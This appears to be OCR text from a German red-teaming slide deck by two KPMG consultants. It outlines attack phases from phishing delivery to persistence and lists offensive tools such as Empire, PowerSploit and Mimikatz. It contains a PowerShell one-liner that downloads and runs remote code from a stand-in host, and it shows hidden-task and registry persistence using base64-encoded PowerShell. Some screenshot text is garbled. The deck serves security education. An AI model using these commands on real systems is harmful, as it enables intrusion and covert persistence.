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Ein Einblick in die Red Teaming Praxis
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Cyberbetrug: Bisher 86 Millionen erbeutet

21_ Juni 2017, 18:06 n m

Neben Flugzeugzulieferer FACC sind in Osterreich drei
weitere Unternehmen auf CEC-Fraud hereingefallen.
Hunderte Versuche scheiterten
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I Skills & Experience

Information security projects in all major industries

® Cyber Security Management Consulting

® Managed Cyber Security

Andreas Tomek
® Cyber Startups

CISSP, CISA, CPTS, CPTE,
AMBCI
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I Skills & Experience

Senior Security Advisor with technical and dev background

® Security Assessments, Security Strategy and Target
Operating Model (TOM), Incident Response, Trainings, ...

Severin Winkler Industry, Retail, Start-Ups, Financial, Government, ...

CISSP, CSSLP, OSCP,
GLNA, CEH, ...
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PHASE 2 - Delivery
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Donau-Universitat Krems

Attacker
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PHASE 3 - Initial Foothold
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Delivery
> Email (Phishing), Web (Drive-By), USB-Sticks

Execution
> Windows Executable  >> Klassische Schadsoftware

> Office Macro >> Eingebaute Funktionalitat
> VBScript >> Eingebaute Funktionalitat
2> HTML-Application >> Eingebaute Funktionalitat
> Powershell >> Eingebaute Funktionalitat
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PHASE 3 - Initial Foothold

Donau- Umversmt Krems

2> Java signed applet attack - i
—
> Office Macro —
— Mediale Aufmerksamkeit seit 2015
— Alte Dateitypen wie zB. *.wri . —

> Powershell

- powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://8.8.8.8/a"'))"

> HTML Application
— *.hta

2> Windows Dropper
—  *.exe, *.scr
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PHASE 3 - Initial Foothold

Verwendung vorhandener Protokolle fir C&C Kanal

HTTP(S)

DNS
— DNS A =>4 Bytes pro Request
— DNS TXT => 189 Bytes pro Request

SMB-Pipes
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PHASE 4 - Privilege Escalation

> Windows Services

> Scheduled Tasks

> Umgehung von UAC

> Mimikatz

> Group Policy Preferences (GGP)

> Wiederverwendung von Zugangsdaten
> ...

> PS:>Invoke-AllChecks  #PowerSploit
> windows-privesc-check2.exe
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PHASE 5 — Interne Reconnaissance

Donau-Universitat Krems

Analyse von Hosts + Vertrauensbeziehungen
Admin Hunting
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PHASE 6 — Lateral Movement
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PHASE 6 — Lateral Movement
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PHASE 6 — Lateral Movement
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PHASE 7 — Persistence

Uberlebe den Reboot

2 Auflésung des Payloads beim Login
— HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run

> Scheduled Tasks

> Windows Services

> WMI Subskription

Qo
Y
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PHASE 7 — Persistence

i+ |5 Local Computer Palicy (5 GoogleUpda... Ready  Multiple triggers defined s
4 Task Scheduler (Local) (™ GoogleUpda... Ready At 15:58 every day - After triggered, repeat every 1 hour for a duratig Display All Running Tasks
4 [ Task Scheduler Library (% Optimize Sta... Ready When computer is idle &] Disable All Tasks History
] Apple (% Optimize Sta... Disabled When computer is idle .
— o . o [ MNew Folder...
[> :I Microsoft (% Optimize Sta... Disabled When computer is idle
[ wep B Updater Running At 12:50 every day View »
(% User_Feed_S... Ready At 14:14 every day - Trigger expires at 05.02.2026 14:14:44, MNew Window from Here
(% User_Feed_S... Ready At 01:21 every day - Trigger expires at 18.02.2023 01:21:36. [dl Refresh
ﬂ Help
£ >
Selected Item =
I General | Triggers | Actions |Condi‘tions | Settings | History| b Run
y cha ®  End
@ Updater Properties (Local Computer)
B . Disable
- Edit Action
| General | Triggers| Actions |Condi‘tior Export...
You must specify what action this task will perform. i
When you create a task, you must spe pecify p Properties
Action: | Start a program v | » Delete
Action Details Settings Help
Start a program CA\Windows\!
Program/script:
|C:\“" dows\System32\WindowsP owerShell\w1.04p : | Browse... |
Add arguments (optional): 'ersion debug).debug)))”
[ “new 2 - Notepad++ - B
File Edit Search View Encoding Language Settings Macro Run  TedFX Plugins  Window 7

. i T '.
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([Text.Encoding] : :UNICODE.GetString ([Convert] ::FromBaseedString ((gp
HKCU:\Software\Microsoft\Windows\CurrentvVersion debug) .debug)))"”
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Approach

Reconnaissance
Delivery &

Initial Foothold

Privilege Escalation
Internal Reconnaissance

Lateral Movement

Persistence
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Die jungsten Ereignisse im Bereich der
Informationssicherheit haben gezeigt,
dass Sicherheitsvorfélle erhebliche
Auswirkungen auf ein Unternehmen
haben kdnnen.

In einem Red Teaming Projekt

realistische Simulation von
Cyberangriffen.

VORARLBERG

durchlauft ein Unternehmen eine

prodteaiigas . | (V)
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DEMO

GIT CLONE https://github.com/adaptivethreat/Empire.git
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Any open Questions?

Donau- Umvemtat Krems
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Referenzen

= PowerSploit
https://github.com/PowerShellMafia/PowerSploit.git
= Empire
https://github.com/PowerShellEmpire/Empire
= Cobalt Strike
https://www.cobaltstrike.com
= Nishang
https://github.com/samratashok/nishang
http://resources.infosecinstitute.com/nishang-a-post-exploitation-framework/

= Veil Framework
https://www.veil-framework.com/

= Persistence options with Empire
http://www.harmj0Oy.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
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Referenzen

= Raytheon
https://krypt3ia.files.wordpress.com/2012/02/apttacticsraytheon.jpg

=  Symantec
http://www.symantec.com/content/en/us/enterprise/images/b-apt_infographic.jpg

=  Wikipedia
https://upload.wikimedia.org/wikipedia/commons/7/73/Advanced_persistent_threat_lifec
ycle.jpg
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Kontaktdaten

/Andreas Tomek \
Partner
Cyber Security

KPMG Advisory GmbH
Porzellangasse 51

\1090 Wien /

/Severin Winkler )
Manager
Cyber Security

KPMG Advisory GmbH
Porzellangasse 51

\1090 Wien /
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